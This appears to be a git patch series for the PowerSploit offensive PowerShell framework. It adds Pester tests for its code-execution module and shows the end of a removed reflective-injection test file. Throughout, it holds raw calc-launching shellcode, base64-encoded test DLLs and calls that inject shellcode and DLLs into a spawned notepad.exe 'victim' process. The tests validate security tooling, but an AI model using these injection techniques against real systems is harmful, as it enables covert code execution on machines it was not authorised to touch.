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' - - $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) - $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) - $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll) - $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll) - $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll) - $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll) - $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe) - $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe) - - if ([IntPtr]::Size -eq 4) { - $PowerShell32bit = $True - $WideStrDllBytes = $WideStrDllBytes32 - $StrDllBytes = $StrDllBytes32 - $VoidDllBytes = $VoidDllBytes32 - $ExeBytes = $ExeBytes32 - } else { - $PowerShell32bit = $False - $WideStrDllBytes = $WideStrDllBytes64 - $StrDllBytes = $StrDllBytes64 - $VoidDllBytes = $VoidDllBytes64 - $ExeBytes = $ExeBytes64 - } - - Context 'DLL loading' { - It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' { - $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ - - $Result | Should Not BeNullOrEmpty - $Result | Should Be 'Hello, world!' - } - - It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' { - $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ - - $Result | Should Not BeNullOrEmpty - $Result | Should Be 'Hello, world!' - } - - It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' { - $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' - if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } - - Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ - - Start-Sleep -Seconds 2 - $TestOutputPath | Should Exist - $Result = Get-Content $TestOutputPath - - $Result | Should Not BeNullOrEmpty - $Result | Should Be 'Hello, world!' - } - - It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' { - $64BitOS = $False - if ($Env:ProgramW6432) { $64BitOS = $True } - - # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe - if ($PowerShell32bit -and $64BitOS) { - # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad - $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" - } else { - $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" - } - - $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath - - if ($NotepadProc.ReturnValue -ne 0) { - throw 'Could not start victim process: notepad.exe' - } - - $VictimPID = $NotepadProc.ProcessId - - $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' - if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } - - Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ - - $Result = Get-Content $TestOutputPath - - Start-Sleep -Seconds 2 - - Stop-Process -Id $VictimPID - - $Result | Should Not BeNullOrEmpty - $Result | Should Be 'Hello, world!' - } - - It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' { - if ($PowerShell32bit) { - $PEBytes = $WideStrDllBytes64 - } else { - $PEBytes = $WideStrDllBytes32 - } - - # Attempt to load the wide string DLL in memory with a mismatched bitness - { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw - } - - It 'should not load a DLL in memory within powershell.exe when the return types do not match.' { - # This DLL exports WStringFunc which means that -FunReturnType should be WString - { $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType String -DoNotZeroMZ } | Should Throw - } - } - - Context 'EXE Loading' { - $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' - - BeforeEach { - if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } - } - - It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided no arguments' { - Invoke-ReflectivePEInjection -PEBytes $ExeBytes -DoNotZeroMZ - } - - It 'should load an EXE in memory within powershell.exe and write "Hello, world!" to %TEMP%\testoutput.txt when provided arguments' { - Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs 'foo bar' -DoNotZeroMZ - } - - AfterEach { - Start-Sleep -Seconds 2 - $TestOutputPath | Should Exist - $Result = Get-Content $TestOutputPath - - $Result | Should Not BeNullOrEmpty - $Result.StartsWith('Hello, world!') | Should Be $True - } - } -} \ No newline at end of file From c03965c8f99c76b0ce63fb533b29a5f31dd162e4 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Mon, 9 Nov 2015 10:56:34 -0800 Subject: [PATCH 041/296] Adding Pester tests for CodeExecution module --- Tests/CodeExecution.tests.ps1 | 362 ++++++++++++++++++++++++++++++++++ 1 file changed, 362 insertions(+) create mode 100644 Tests/CodeExecution.tests.ps1 diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 new file mode 100644 index 00000000..b8e415e6 --- /dev/null +++ b/Tests/CodeExecution.tests.ps1 @@ -0,0 +1,362 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1" + +Remove-Module [C]odeExecution +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Invoke-Shellcode' { + # 32-bit calc popping shellcode + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit calc popping shellcode + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + + $PowerShell32bit = $False + $Shellcode = $Shellcode64 + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $Shellcode = $Shellcode32 + } + + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + BeforeEach { + # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc) + Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force + } + + It 'should pop calc without arguments' { + Invoke-Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in host process with -Shellcode arg' { + Invoke-Shellcode -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in victim notepad.exe process without -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + It 'should pop calc in victim notepad.exe process with -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + AfterEach { + # Validate that a calc process was launched by the shellcode + + $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } + $CalcCount = $CalcProcs | Measure-Object + + if ($CalcCount.Count -gt 0) { + $CalcProcs | Stop-Process -Force + } + + $CalcCount.Count | Should BeGreaterThan 0 + } +} + +Describe 'Invoke-DllInjection' { + $Accessibilitycpl = 'accessibilitycpl.dll' + $AccessibilitycplPath = "$($Env:SystemRoot)\System32\$Accessibilitycpl" + + It 'should inject a known system DLL' { + if (-not (Test-Path $AccessibilitycplPath)) { + throw "$AccessibilitycplPath does not exist on disk." + } + + $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AccessibilitycplPath + $LoadedModule | Should Not BeNullOrEmpty + + $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True + $LoadedModule.ModuleName | Should Be $Accessibilitycpl + } + + It 'should not inject a non-existent DLL' { + $NonExistentDllPath = 'C:\foo.dll' + + Test-Path $NonExistentDllPath | Should Be $False + + { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw + } + + It 'should not inject to a non-existent process' { + { Invoke-DllInjection -ProcessID 0 -Dll $AccessibilitycplPath } | Should Throw + } +} + +Describe 'Invoke-WmiCommand' { + $RegistryHive = 'HKEY_CURRENT_USER' + $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG' + $RegistryKeyPath = "HKCU:\$KeyPath" + $RegistryPayloadValueName = 'Seed' + $RegistryResultValueName = 'Value' + $ComputerName = 'localhost' + $SamplePayload = { 1+1 } + $SamplePayloadResult = & $SamplePayload + $SamplePayloadResultType = $SamplePayloadResult.GetType() + + Context 'Successful code execution' { + BeforeEach { + # Ensure registry keys and values are cleaned up prior to execution + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue + Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue + } + + AfterEach { + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw + { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw + } + + It 'should execute a sample payload locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload "remotely" (localhost) and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload with explicit arguments locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + } + + Context 'Invalid arguments' { + It 'should not process invalid registry hives' { + { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw + } + } +} + +Describe 'Invoke-ReflectivePEInjection' { + # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called + # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + $Encoded64BitWStringDll = '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